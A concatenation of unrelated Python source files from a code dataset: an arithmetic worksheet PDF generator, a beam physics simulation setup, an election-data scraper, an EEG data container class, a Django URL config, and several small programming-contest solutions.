getAdd(startNum,endNum):\n\tallFormula = []\n\tfor i in range(startNum,endNum+1):\n\t\tfor j in range(1,i):\n\t\t\tallFormula.append((j,i-j))\n\tprint(len(allFormula))\n\t#random.shuffle(allFormula)\n\tprint(allFormula)\n\treturn(allFormula)\ndef getSubstract(startNum,endNum):\n\tallFormula = []\n\tfor i in range(startNum,endNum+1):\n\t\tfor j in range(1,i):\n\t\t\tallFormula.append((j,i))\n\tprint(len(allFormula))\n\t#random.shuffle(allFormula)\n\tprint(allFormula)\n\treturn(allFormula)\n\t\ndef genTable_sub():\n\tdata=[]\n\tallFormulas = getSubstract(1,99)\n\tallFormulas = allFormulas*2\n\trandom.shuffle(allFormulas)\n\tfor item in allFormulas:\n\t\tformula = []\n\t\tformula.append(\"%s \"%item[1])\n\t\tformula.append(\"-\")\n\t\tformula.append(\"%s\"%item[0])\n\t\tformula.append(\"= \")\n\t\tdata.append(formula)\n\t\t\ndef getAdd_twodigits():\n\tdata=[]\n\tfor a in range(1,90):\n\t\tfor b in range(1,90):\n\t\t\tif a+b > 100:\n\t\t\t\tcontinue\n\t\t\tif a%10 + b%10 <= 10:\n\t\t\t\tcontinue\n\t\t\tdata.append((a,b))\n\tdata1 = []\n\tfor item in data:\n\t\tif item[1]=30 and item[1]>=10) or (item[1]>=30 and item[0]>=10) or (item[1]<30 and item[0]<30):\n\t\t\tcontinue\n\t\tallFormulas.append(item)\n\tallFormulas = getAdd_twodigits()\n\t#allFormulas.extend(formulas2*4)\n\t#allFormulas.extend(formulas3*3)\n\t#allFormulas.extend(formulas4)\n\trandom.shuffle(allFormulas)\n\tprint(allFormulas)\n\tprint(len(allFormulas))\n\t\n\tdata=[]\n\t'''for item in allFormulas:\n\t\tformula = []\n\t\tformula.append(\"%s \"%item[0])\n\t\tformula.append(\"+\")\n\t\tformula.append(\"%s\"%item[1])\n\t\tformula.append(\"= \")\n\t\tdata.append(formula)'''\n\n\tfor item in allFormulas:\n\t\tformula = []\n\t\tformula.append(\"%s \"%(item[0]+item[1]))\n\t\tformula.append(\"-\")\n\t\tformula.append(\"%s\"%item[1])\n\t\tformula.append(\"= \")\n\t\tdata.append(formula)\n\n\ttable = platypus.Table(data, 1*inch, 1.2*inch, [('FONT', (0,0), (-1,-1), 'Courier',70)])\n\treturn table\ndef toPdf():\n\tdoc = platypus.SimpleDocTemplate('test.pdf', topMargin=0.9*inch, bottomMargin=0.9*inch, title='DaDa Math', author='qyb') \n\telements = []\n\tfor i in range(1):\n\t\telements.append(genTable())\n\t\telements.append(platypus.flowables.PageBreak())\n \n\tdoc.build(elements)\n\nif __name__ == '__main__':\n\t#getAdd(6,8)\n\ttoPdf()","repo_name":"multilinguist/k12","sub_path":"arithmetic.py","file_name":"arithmetic.py","file_ext":"py","file_size_in_byte":3771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33556215597","text":"from warp import *\nfrom extpart import *\nimport os\n\n#-----------------------------------------------------------------------------\ndef LoadRenderScripts(scriptRoot):\n \"\"\"\n This function returns a dictionary of rendering scripts\n whose key is a descriptive string. This dictionary will\n be used when our Render function returns a list of scripts\n to run. the scriptRoot argument gives the path where scripts\n are stored.\n \"\"\"\n # user supplied rendering scripts\n # script names (keys) are used by the Render funciton\n # to select the desired script\n renderingScripts = {\n 'max(v(x,y))' : 'render-max-v.py',\n 'binning bv' : 'render-binning-bv.py',\n 'scatter bv' : 'render-scatter-bv.py',\n 'volume phi' : 'render-volume-phi.py',\n 'particle v' : 'render-particle-v.py',\n }\n\n for key,fileName in renderingScripts.iteritems():\n f = open(os.path.join(scriptRoot,fileName))\n code = f.read()\n f.close()\n renderingScripts[key] = code\n\n return renderingScripts\n\n\n#-----------------------------------------------------------------------------\ndef GetActiveRenderScripts():\n \"\"\"\n If the current time step should be visualized return a list\n of keys naming which rendering scripts should run. If the\n list is empty then nothing will be rendered this time step.\n The script dictionary is created by LoadRenderScripts.\n \"\"\"\n scripts = []\n\n # some very contrived examples\n # this just shows the flexibility\n # the point is rendering can be triggered for\n # any plot under any condition\n\n # after M iterations every N iterations plot...\n #if (warp.top.it >= 10) and ((warp.top.it % 8) == 0):\n # scripts.append('particle v')\n # scripts.append('volume phi')\n\n # every N interations plot ...\n #if ((warp.top.it % 5) == 0):\n # scripts.append('max(v(x,y))')\n # scripts.append('num b vs. v')\n\n\n if ((warp.top.it % 50) == 0):\n scripts.append('scatter bv')\n scripts.append('particle v')\n scripts.append('volume phi')\n scripts.append('max(v(x,y))')\n\n return scripts\n\n#-----------------------------------------------------------------------------\ndef Advance():\n \"\"\"Advance the simulation one time step.\"\"\"\n warp.step()\n\n#-----------------------------------------------------------------------------\ndef Continue():\n \"\"\"\n Return false when the simulation should no longer run.\n \"\"\"\n # adjust this to take as many steps as you need\n return warp.top.it <= 500\n\n\n#-----------------------------------------------------------------------------\ndef Finalize():\n \"\"\"\n shutdown the simulation, cleanup etc.\n \"\"\"\n pass\n\n#-----------------------------------------------------------------------------\ndef Initialize():\n \"\"\"\n Setup IC and start the simulation, but don't run it yet.\n \"\"\"\n # --- Set four-character run id, comment lines, user's name.\n top.pline2 = \"Example 3D beam in a FODO lattice\"\n top.pline1 = \"S-G cigar beam. 64x64x256\"\n top.runmaker = \"David P. Grote\"\n\n # --- Invoke setup routine - it is needed to created a cgm file for plots\n setup()\n\n # --- Create the beam species\n beam = Species(type=Potassium,charge_state=+1,name=\"Beam species\")\n\n # --- Set input parameters describing the beam, 72 to 17.\n beam.b0 = 15.358933450767e-3\n beam.a0 = 8.6379155933081e-3\n beam.x0 = 3.*mm\n beam.emit = 51.700897052724e-6\n beam.ap0 = 0.e0\n beam.bp0 = 0.e0\n beam.ibeam = 2.e-03\n beam.vbeam = 0.e0\n beam.ekin = 80.e3\n beam.aion = beam.type.A\n beam.zion = beam.charge_state\n top.lrelativ = false\n top.derivqty()\n beam.vthz = .5e0*beam.vbeam*beam.emit/sqrt(beam.a0*beam.b0) # Vthz ~ Vthperp\n\n # +++ Set up arrays describing lattice.\n # --- Set temp variables.\n hlp = 36.0e-2 # half lattice period length\n piperad = 3.445e-2 # pipe radius\n quadlen = 11.e-2 # quadrupole length\n gaplen = 4.*cm\n rodlen = quadlen + gaplen\n dbdx = .949/quadlen\n\n # --- Set general lattice variables.\n top.tunelen = 2.e0*hlp\n env.zl = -hlp*2\n env.zu = -env.zl\n env.dzenv = top.tunelen/100.e0\n\n # --- Set up quadrupoles\n addnewquad(zs= -quadlen/2.,\n ze= +quadlen/2.,\n db=-dbdx,ap=piperad)\n addnewquad(zs=hlp - quadlen/2.,\n ze=hlp + quadlen/2.,\n db=+dbdx,ap=piperad)\n addnewquad(zs=2.*hlp - quadlen/2.,\n ze=2.*hlp + quadlen/2.,\n db=-dbdx,ap=piperad)\n top.zlatstrt = 0.\n top.zlatperi = 2.e0*hlp\n\n # +++ Set input parameters describing the 3d simulation.\n w3d.nx = 64/2\n w3d.ny = 64/2\n w3d.nz = 256/2\n steps_p_perd = 50\n top.dt = (top.tunelen/steps_p_perd)/beam.vbeam\n\n # --- Set to finite beam.\n top.pbound0 = top.pboundnz = periodic\n top.pboundxy = absorb\n w3d.xmmin = -piperad\n w3d.xmmax = piperad\n w3d.ymmin = -piperad\n w3d.ymmax = piperad\n w3d.zmmin = -hlp*2\n w3d.zmmax = +hlp*2\n top.prwall = piperad\n\n # --- Set pulse length.\n beam.zimin = w3d.zmmin*.95/2.\n beam.zimax = w3d.zmmax*.95/2.\n\n # --- Load Semi-Gaussian cigar beam.\n top.npmax = 20000\n w3d.distrbtn = \"semigaus\"\n w3d.cigarld = true\n w3d.xrandom = \"digitrev\"\n w3d.vtrandom = \"digitrev\"\n w3d.vzrandom = \"digitrev\"\n w3d.ldprfile = \"polar\"\n w3d.cylinder = false\n top.straight = .8\n\n # --- set up field solver\n w3d.l4symtry = true\n w3d.bound0 = periodic\n w3d.boundnz = periodic\n w3d.boundxy = dirichlet\n\n solver = MultiGrid3D()\n registersolver(solver)\n\n pipe = ZCylinderOut(piperad,4.,voltage=0.)\n installconductors(pipe,dfill=largepos)\n\n # --- Run the envelope solver to provide data used to initialize particles.\n package(\"env\")\n generate()\n step()\n\n # --- Generate the PIC code (allocate storage, load ptcls, t=0 plots, etc.).\n package(\"w3d\")\n generate()\n return\n","repo_name":"burlen/WarpVisIt","sub_path":"scripts/cigar/cigar.py","file_name":"cigar.py","file_ext":"py","file_size_in_byte":6040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19054105489","text":"\"\"\"Parser for Haryana\n\"\"\"\nimport re\nimport urllib2\n\nfrom . import cache\nfrom . import wikipedia\nfrom bs4 import BeautifulSoup\n\n@cache.disk_memoize(\"cache/HR/{0}.html\")\ndef _get_polling_booths_html(ac_number):\n url = \"http://ceoharyana.nic.in/directs/check_pfofile1.php?Type=ac&ID={}\".format(ac_number)\n return urllib2.urlopen(url).read()\n\n@cache.disk_memoize(\"cache/HR/{}.json\")\ndef _get_polling_booths(ac_number):\n html = _get_polling_booths_html(ac_number)\n soup = BeautifulSoup(html, \"lxml\")\n options = soup.find_all(\"option\")\n\n # Skip \"--Select a PS--\"\"\n options = options[1:]\n\n rx = re.compile(\"(.*)\\((\\d+)\\)\")\n for o in options:\n name, code = rx.match(o.get_text()).groups()\n yield int(code), name\n\n@cache.disk_memoize(\"cache/HR/dist_{0}.html\")\ndef _download_ac_listing(district_id):\n url = \"http://ceoharyana.nic.in/directs/check_pfofile1.php?Type=dist&ID={0}\".format(district_id)\n return urllib2.urlopen(url).read()\n\n@cache.disk_memoize(\"cache/HR/ac_data.tsv\")\ndef _get_ac_data():\n for i in range(1, 22):\n html = _download_ac_listing(i)\n soup = BeautifulSoup(html, \"lxml\")\n\n options = soup.find_all(\"option\")\n\n # Skip \"--Select An AC--\"\"\n options = options[1:]\n\n for o in options:\n code, name = o.get_text().split(\"-\", 1)\n yield int(code), name.strip()\n\nre_vowels = re.compile(\"[aeiou ]\")\ndef find_nearest(name, names):\n \"\"\"Returns the string in given list of names that is nearest to the given name.\n \"\"\"\n if name in names:\n return names\n\n def normalize_name(name):\n return re_vowels.sub(\"\", name)\n\n # try with just consonents to handle vowel variations\n d = dict((normalize_name(n), n) for n in names)\n if normalize_name(name) in d:\n return d[normalize_name(name)]\n\n # sort all consonants \n def normalize_name(name):\n return \"\".join(sorted(set(re_vowels.sub(\"\", name))))\n d = dict((normalize_name(n), n) for n in names)\n if normalize_name(name) in d:\n return d[normalize_name(name)]\n\n raise Exception(\"Unable to find a nearest match for {0!r}\".format(name))\n\n\n@cache.disk_memoize(\"data/HR/ac.tsv\")\ndef get_acs():\n \"\"\"The wikipedia page doesn't have AC numbers. We need to get them from\n ceoharyana website and match them with wikipedia for pc codes.\n \"\"\"\n data = wikipedia.get_ac_list(\"Haryana\")\n def normalize_name(name):\n name = name.split(\"(\")[0].lower().strip(\". \")\n return name\n\n pc_dict = dict((normalize_name(name), pc_code) for pc_code, ac_code, name in data)\n\n renames = {\n \"ambala cantt\": \"ambala cantonment\",\n \"dadri\": \"charkhi dadri\",\n \"kalawali\": \"kalanwali\",\n \"nangal chaudhry\": \"nagai chaudhry\",\n }\n def get_pc_code(name):\n name = normalize_name(name)\n name = renames.get(name, name)\n if name not in pc_dict:\n name = find_nearest(name, pc_dict.keys())\n return pc_dict[name]\n\n ac_data = _get_ac_data()\n assert(len(pc_dict) == len(ac_data))\n for code, name in ac_data:\n pc_code = get_pc_code(name)\n ac_code_str = \"AC{0:03d}\".format(int(code))\n yield pc_code, ac_code_str, name.title().replace(\"(Sc)\", \" (SC)\").replace(\"(St)\", \" (ST)\")\n\n@cache.disk_memoize(\"data/HR/pc.tsv\")\ndef get_pcs():\n return wikipedia.get_pc_list(\"Haryana\")\n\n@cache.disk_memoize(\"data/HR/polling_booths.tsv\")\ndef get_all_polling_booths():\n for ac_number, ac_name in _get_ac_data():\n booths = _get_polling_booths(ac_number)\n for code, name in booths:\n ac_code = \"AC{0:03d}\".format(int(ac_number))\n yield ac_code, \"PB{:04d}\".format(code), name\n ","repo_name":"anandology/opendata-ge2014","sub_path":"ge2014/parsers/HR.py","file_name":"HR.py","file_ext":"py","file_size_in_byte":3706,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16893814973","text":"import copy\nimport csv\nfrom collections import defaultdict\nfrom typing import List, Optional, Tuple, Union\n\nimport numpy as np\nfrom pyedflib import highlevel\n\nfrom neuropack.devices.base import BCISignal\n\nfrom ..devices.base import BCISignal\nfrom ..utils.marker_vault import MarkerVault\nfrom .abstract_container import AbstractContainer\nfrom .event_container import EventContainer\n\n\nclass EEGContainer(AbstractContainer):\n __slots__ = \"event_markers\"\n\n @classmethod\n def from_csv(\n cls,\n file: str,\n sample_rate: int,\n channel_names: List[str],\n contains_markers: bool = True):\n \"\"\"Create EEGContainer from data. Data is expected to be in the following format: , *n, \n\n :param file: File containing data.\n :type file: str\n :param sample_rate: Sample rate in Hz.\n :type sample_rate: int\n :param channel_names: List of channel names.\n :type channel_names: List[str]\n :param contains_markers: If True, last column is treated as target marker, defaults to False\n :type contains_markers: bool, optional\n \"\"\"\n t = cls(channel_names, sample_rate)\n t.load_csv(file, contains_markers=contains_markers)\n return t\n\n @classmethod\n def from_edf(\n cls,\n file: str,\n sample_rate: int,\n channel_names: List[str],\n time_channel: Union[str, Tuple[str, str]] = None,\n marker_channel: str = None):\n \"\"\"Create EEGContainer from EDF file.\n\n :param file: File containing data.\n :type file: str\n :param sample_rate: Sample rate in Hz.\n :type sample_rate: int\n :param channel_names: List of channel names.\n :type channel_names: List[str]\n :param time_channel: Channel name or list of channel names containing time stamps. If a tuple is provided, the first channel is used as seconds and the second as milliseconds. If None, timestamps are generated from sample rate. Defaults to None.\n :type time_channel: Union[str, Tuple[str, str]]\n :param marker_channel: Channel name containing event markers. Defaults to None.\n :type marker_channel: str, optional\"\"\"\n t = cls(channel_names, sample_rate)\n t.load_edf(file, time_channel, marker_channel)\n return t\n\n def __init__(self, channel_names: List[str], sample_rate: int) -> None:\n \"\"\"Create EEGContainer containing several channels. Channels are expected to be in the same order as signals added to the container.\n\n :param channel_names: List of channel names.\n :type channel_names: List[str]\n :param sample_rate: Sample rate in Hz.\n :type sample_rate: int\n \"\"\"\n super().__init__(\n channel_names, sample_rate, [\n list() for _ in range(\n len(channel_names))], [])\n self.event_markers = MarkerVault()\n\n def add_data(self, rec: BCISignal):\n \"\"\"Add new measured data point to the container. Data points consist of combinations of\n a time stamp and measured signals, and signals are expected to be in the same order as channels\n initially configured for the container.\n\n :param rec: Data point to add to the container.\n :type rec: BCISignal\n \"\"\"\n if len(rec.signals) != len(self.channel_names):\n raise Exception(\n \"Number of signals does not match number of channels provided\")\n\n self.timestamps.append(rec.timestamp)\n for i in range(len(rec.signals)):\n self.signals[i].append(rec.signals[i])\n\n def mark_event(self, marker: str, timestamp_s: int) -> None:\n \"\"\"Marks specific event in time with marker. Markers are stored in a MarkerVault.\n Provided timestamp is altered to match timestamp of the closest data point.\n\n :param marker: Marker to add.\n :type marker: str\n :param timestamp_s: Timestamp in seconds.\n :type timestamp_s: int\n \"\"\"\n clostest_time_idx = self.__find_closest_timestamp(timestamp_s)\n new_time = self.timestamps[clostest_time_idx]\n self.event_markers.add_marker(marker, new_time)\n\n def get_marker(self, marker: str) -> List[float]:\n \"\"\"Returns list of timestamps for specific marker.\n\n :param marker: Marker to get timestamps for.\n :type marker: str\n :return: List of timestamps.\n :rtype: List[int]\n \"\"\"\n return self.event_markers.get_marker(marker)\n\n def get_events(self, marker: str, before: int = 50,\n after: int = 100) -> List[EventContainer]:\n \"\"\"Returns list of EventContainers for specific marker. EventContainers contain all channels centered around the event.\n\n :param marker: Marker to get events for.\n :type marker: str\n :param before: Duration in milliseconds before the event to include in EventContainer, defaults to 50\n :type before: int\n :param after: Duration in milliseconds after the event to include in EventContainer, defaults to 100\n :type after: int\n \"\"\"\n def create_event(t, b_idx, a_idx):\n _timestamps = np.array(self.timestamps[b_idx:a_idx])\n _timestamps -= t\n _signals = [np.array(s[b_idx:a_idx]) for s in self.signals]\n return EventContainer(\n self.channel_names,\n self.sample_rate,\n _signals,\n _timestamps)\n\n events = []\n for t in self.event_markers.get_marker(marker):\n before_idx, after_idx = self.__calc_samples_idx(t, before, after)\n events.append(create_event(t, before_idx, after_idx))\n\n return events\n\n def average_ch(self, *channel_selection: Optional[List[str]]):\n \"\"\"Create EEGContainer with an averaged channel.\n\n :param channel_selection: Specify channels to average. If None, returns EEGContainer with a signal channel, which is the average of all channels. Defaults to None\n :type channel_selection: Optional[List[str]], optional\n \"\"\"\n def s_osum(x):\n if len(x) == 0:\n return None\n if len(x) == 1:\n if isinstance(x[0], list):\n return np.array(x[0])\n return x\n s = copy.deepcopy(x[0])\n for o in x[1:]:\n s = np.add(s, o)\n return s\n\n # If no channels are specified, average all channels\n if not channel_selection:\n # Average all channels\n new_channel_name = [\"\".join(self.channel_names)]\n new_signal = [s_osum(self.signals) / len(self.signals)]\n else:\n # Average specified channels\n new_channel_name = [\"\".join(channel_selection)]\n selected_signals = [self[ch] for ch in channel_selection]\n # Average signals\n new_signal = [s_osum(selected_signals) / len(selected_signals)]\n\n # Convert to list\n new_signal = [x.tolist() for x in new_signal]\n\n # Create new EEGContainer\n _t = EEGContainer(new_channel_name, self.sample_rate)\n _t.timestamps = copy.deepcopy(self.timestamps)\n _t.signals = new_signal\n\n return _t\n\n def average_sub_ch(\n self, *channel_selection: Optional[List[Union[Tuple[str], str]]]):\n \"\"\"Create EEGContainer containing several averaged channels. Channels in the new EEGContainer are\n made up of specified channels. Each tuple results in one new averaged channel.\n E.g., the input (\"TP9\", \"TP10\"), (\"AF9\", \"AF10\") results in EEGContainer with two new channels. The first\n channel is the average of \"TP9\" and \"TP10\". If no channels are selected, averages all channels into one.\n\n :param channel_selection: Specify channels to average.\n :type channel_selection: Optional[List[Union[Tuple[str], str]]], optional.\n \"\"\"\n def s_osum(x):\n if len(x) == 0:\n return None\n if len(x) == 1:\n if isinstance(x[0], list):\n return np.array(x[0])\n return x\n s = copy.deepcopy(x[0])\n for o in x[1:]:\n s = np.add(s, o)\n return s\n\n if not len(channel_selection):\n return self.average_ch()\n\n new_channel_names = []\n new_signals = []\n\n for t in channel_selection:\n selection = t\n if not isinstance(t, tuple):\n selection = [t]\n selected_signals = [self[ch] for ch in selection]\n\n new_channel_names.append(\"\".join(selection))\n new_signals.append(\n s_osum(selected_signals) /\n len(selected_signals))\n\n # Convert to list\n new_signals = [x.tolist() for x in new_signals]\n\n # Create new EEGContainer\n _t = EEGContainer(new_channel_names, self.sample_rate)\n _t.timestamps = copy.deepcopy(self.timestamps)\n _t.signals = new_signals\n\n return _t\n\n def load_csv(self, file_name: str, contains_markers: bool = True):\n \"\"\"Load data from a csv file.\n The first col has to be the column with timestamps. Following this,\n the different channels must follow. The last column must contain either a 0, no\n target, or a 1, target.\n\n Channels are read in the same order as configured for the container. The additional channels are ignored if more channels\n are present than in the container.\n , *n, \n\n :param file_name: File name to read from.\n :type file_name: str\n :param contains_markers: If True, the last column is interpreted as target marker. Defaults to True\n :type contains_markers: bool, optional\n \"\"\"\n\n # Reset object before loading new signals\n self.timestamps = []\n self.signals = [list() for _ in range(len(self.channel_names))]\n\n with open(file_name) as f:\n reader = csv.reader(f, delimiter=\",\")\n next(reader)\n for line in reader:\n # Skip empty lines\n if len(line) == 0:\n continue\n\n # Get timestamp and signals\n t = float(line[0])\n signals = [float(x)\n for x in line[1: len(self.channel_names) + 1]]\n\n # Add data\n self.add_data(BCISignal(t, signals))\n\n # Check if a marker is present\n # Has to be done after adding data, because the marker is added\n # to the last timestamp\n if contains_markers and int(line[-1]) != 0:\n self.event_markers.add_marker(int(line[-1]), t)\n\n def load_edf(\n self,\n file: str,\n time_channel: Union[str, Tuple[str, str]] = None,\n marker_channel: str = None):\n \"\"\"Load data from an EDF file. If time_channel is None, timestamps are generated from sample rate.\n\n :param channel_names: List of channel names.\n :type channel_names: List[str]\n :param sample_rate: Sample rate in Hz.\n :type sample_rate: int\n :param file: File containing data.\n :type file: str\n :param time_channel: Channel name or list of channel names containing time stamps. If a tuple is provided, the first channel is used as seconds and the second as milliseconds. If None, timestamps are generated from sample rate. Defaults to None.\n :type time_channel: Union[str, Tuple[str, str]]\n :param marker_channel: Channel name containing event markers. Defaults to None.\n :type marker_channel: str, optional\"\"\"\n all_channels = self.channel_names.copy()\n\n # Include time channel(s) if provided\n if time_channel is not None:\n if isinstance(time_channel, str):\n all_channels.append(time_channel)\n else:\n all_channels.extend(time_channel)\n\n # Include event channel if provided\n if marker_channel is not None:\n all_channels.append(marker_channel)\n\n # Load data from EDF file\n signals, _, _ = highlevel.read_edf(file, ch_names=all_channels)\n\n # Create time stamps from time channel(s)\n if time_channel is None:\n self.timestamps = [(1 / self.sample_rate) *\n i for i in range(len(signals[0]))]\n\n if isinstance(time_channel, str):\n self.timestamps = signals[all_channels.index(time_channel)]\n\n if isinstance(time_channel, tuple):\n self.timestamps = []\n fidx = all_channels.index(time_channel[0])\n sidx = all_channels.index(time_channel[1])\n self.timestamps = [signals[fidx][i] + signals[sidx]\n [i] / 1000 for i in range(len(signals[0]))]\n\n # Add signal data\n for i in range(len(self.channel_names)):\n self.signals[i] = signals[all_channels.index(\n self.channel_names[i])].tolist()\n\n if marker_channel:\n markers = signals[all_channels.index(marker_channel)]\n for i in range(len(markers)):\n if markers[i] != 0:\n self.event_markers.add_marker(\n markers[i], self.timestamps[i])\n\n def save_signals(self, file_name: str):\n \"\"\"Store data in csv format.\n\n :param file_name: File name to write to.\n :type file_name: str\n :param event_marker: Character to signify an event in saved data. Non-events always get marked with a 0.\n :type file_name: str\n \"\"\"\n timeline = self.event_markers.get_timeline()\n\n with open(file_name, \"w\", newline='') as f:\n writer = csv.writer(f, delimiter=\",\")\n writer.writerow([\"timestamps\"] + self.channel_names + [\"Marker\"])\n\n for i in range(len(self.timestamps)):\n t = self.timestamps[i]\n\n # Check if marker is present\n marker = 0\n if len(timeline) and t == timeline[0][0]:\n marker = timeline.pop(0)[1]\n\n # Write data\n writer.writerow([t] + [ch[i]\n for ch in self.signals] + [marker])\n\n def shift_timestamps(self):\n \"\"\"Shifts all timestamps to start at 0. This is useful if the EEGContainer is created\n from a file with a start time stamp != 0. Can also be used to anonymize data,i.e., by removing\n any information about the time of the recording. All events are shifted accordingly.\n \"\"\"\n if len(self.timestamps) == 0:\n return\n\n first_timestamp = self.timestamps[0]\n self.timestamps = [x - first_timestamp for x in self.timestamps]\n self.event_markers.shift_timestamps(-first_timestamp)\n\n def __find_closest_timestamp(self, timestamp: float) -> float:\n \"\"\"Finds the index of the closest stored timestamp to provided time stamp.\n Ensures the event is always centered at 0.\n\n :param timestamp: External time stamp to search for in milliseconds.\n :type timestamp: float\n :return: Index of closest stored time stamp.\n :rtype: float\n \"\"\"\n timestamp_arr = np.array(self.timestamps)\n return (np.abs(timestamp_arr - timestamp)).argmin()\n\n def __calc_samples_idx(self, timestamp_s: float,\n before_ms: int, after_ms: int) -> Tuple[int, int]:\n \"\"\"Calculates the start and end index of the samples to be returned. Ensures the event is always always in bound of the recorded data. If the event is too close to the start or end of the recording, the returned ideices are shifted accordingly. Calculates index by converting the provided time in\n milliseconds to samples. This is done by first converting the time in milliseconds to seconds and then multiplying by the sample rate.\n\n :param timestamp_s: Time stamp in seconds.\n :type timestamp_s: float\n :param before_ms: Time in milliseconds before the event to include in the returned data.\n :type before_ms: int\n :param after_ms: Time in milliseconds after the event to include in the returned data.\n :type after_ms: int\n :return: Start and end index of the samples to be returned.\n :rtype: Tuple[int, int]\n \"\"\"\n event_time_idx = self.__find_closest_timestamp(timestamp_s)\n\n # Calculate number of samples before and after event\n # Add 1 to after_ms to ensure the event is always included\n before_samples = (before_ms * self.sample_rate) // 1000\n before_idx = max(event_time_idx - before_samples, 0)\n\n after_samples = (after_ms * self.sample_rate) // 1000 + 1\n after_idx = min(event_time_idx + after_samples, len(self.timestamps))\n\n return (before_idx, after_idx)\n\n def __eq__(self, other):\n if self.channel_names != other.channel_names:\n return False\n\n if self.sample_rate != other.sample_rate:\n return False\n\n if self.timestamps != other.timestamps:\n return False\n\n if self.event_markers != other.event_markers:\n return False\n\n if len(self.signals) != len(other.signals):\n return False\n\n for i in range(len(self.signals)):\n if self.signals[i] != other.signals[i]:\n return False\n\n return True\n","repo_name":"markus-ro/neuropack","sub_path":"neuropack/containers/eeg_container.py","file_name":"eeg_container.py","file_ext":"py","file_size_in_byte":17623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9716020660","text":"from phone import views \nfrom django.urls import path\nfrom rest_framework import routers\n\nrouter = routers.SimpleRouter()\n\nrouter.register(r'phones', views.PhoneViewset)\n\nurlpatterns = [\n path('send_sms_code/',views.send_sms_code),\n path('verify_phone/',views.verify_phone),\n]\n\nurlpatterns += router.urls","repo_name":"ephraimbuddy/verify","sub_path":"phone/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"23617362371","text":"\nfrom jammly import Jam, multiline\nimport math\n\nTEST = \\\n\"\"\"5\n0 0 2 EA\n1 QRI 0 4 RRQR\n1 QFT 1 QF 7 FAQFDFQ\n1 EEZ 1 QE 7 QEEEERA\n0 1 QW 2 QW\"\"\"\n\nclass QualB(Jam):\n\t\"\"\"\n\t>>> QualB().runTest(TEST)\n\tCase #1: [E, A]\n\tCase #2: [R, I, R]\n\tCase #3: [F, D, T]\n\tCase #4: [Z, E, R, A]\n\tCase #5: []\n\t\"\"\"\n\t\t\n\tdef jam(self, case):\n\t\tcase = case.split()\n\t\tC = int(case[0])\n\t\tcombs = case[1:1+C]\n\t\tD = int(case[1 + C])\n\t\topps = case[C+2:C+2+D]\n\t\tN = case[C+2+D]\n\t\tinvoke = case[C+D+3]\n\t\t\n\t\tcombs = dict(\n\t\t\t(''.join(sorted((a,b))),c) for a,b,c in combs\n\t\t)\n\t\topps = map(''.join, map(sorted, opps))\n\t\t\n\t\tstack = []\n\t\tfor e in invoke:\n\t\t\tstack.append(e)\n\t\t\ttop = ''.join(sorted(stack[-2:]))\n\n\t\t\tif top in combs:\n\t\t\t\tstack.pop()\n\t\t\t\tstack.pop()\n\t\t\t\tstack.append(combs[top])\n\t\t\telif any(\n\t\t\t\t\t''.join(sorted((e,x))) in opps\n\t\t\t\t\tfor x in stack[:-1]\n\t\t\t\t):\n\t\t\t\tstack = []\n\t\t\t\t\n\t\t\n\t\treturn \"[%s]\" % (\", \".join(stack),)\n\nif __name__ == \"__main__\":\n\tQualB.start()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_75/291.py","file_name":"291.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23520707981","text":"counter = 0\r\nf = open(\"output.out\", mode='w')\r\nwith open(\"lol.in\") as file:\r\n for y in file:\r\n counter += 1\r\n finalstr = \"\"\r\n finalstr += y[0]\r\n for i in range(1,len(y)):\r\n if ord(y[i]) > ord(finalstr[0]) or ord(y[i]) == ord(finalstr[0]):\r\n finalstr = y[i] + finalstr\r\n else:\r\n finalstr += y[i]\r\n f.write (\"Case #\" + str(counter) + \": \" + finalstr)\r\n \r\nf.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_181/1830.py","file_name":"1830.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7453367513","text":"d = {}\n\nn = int(input())\nfor i1 in range(n):\n s = input().split()\n cl = s[0]\n parents = []\n for j in range(2, len(s)):\n parents.append(s[j])\n d[cl] = parents\n\n\ndef find(p, c, results):\n if results.pop():\n results.append(True)\n return\n\n if p == c:\n results.append(True)\n return\n\n results.append(False)\n\n for e in d[c]:\n find(p, e, results)\n\nresults = []\nn = int(input())\nfor i2 in range(n):\n p, c = input().split()\n results.append(False)\n find(p, c, results)\n\nfor r in results:\n if r:\n print('Yes')\n else:\n print('No')\n","repo_name":"YakovBurtsev/stepik-python","sub_path":"week1/1.6/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23449043691","text":"T=int(input())\r\ni=0\r\nwhile i list[int]:\n \"\"\"Load input file.\"\"\"\n\n input = helpers.load_input(file, remove_lines_breaks=True)\n\n input_processed = [int(x) for x in input[0].split(\",\")]\n\n return input_processed\n\n\ndef find_minimum_fuel_for_alignment(input: list[int]) -> int:\n \"\"\"Find the minimum amount of fuel to horizontally align crabs.\"\"\"\n\n initial_positions = Counter(input)\n\n min_horizontal_position = min(input)\n max_horizontal_position = max(input)\n\n fuel_costs = [\n find_fuel_for_alignment(initial_positions, pos)\n for pos in range(min_horizontal_position, max_horizontal_position + 1)\n ]\n\n min_fuel_cost = min(fuel_costs)\n\n return min_fuel_cost\n\n\ndef find_fuel_for_alignment(position_counts: Counter, align_position: int) -> int:\n \"\"\"Find the fuel required to align at the given horizontal position.\"\"\"\n\n fuel_cost = 0\n\n for position, count in position_counts.items():\n\n fuel_cost += abs(align_position - position) * count\n\n return fuel_cost\n\n\nif __name__ == \"__main__\":\n\n input = load_input(\"input_1.txt\")\n\n result = find_minimum_fuel_for_alignment(input)\n\n 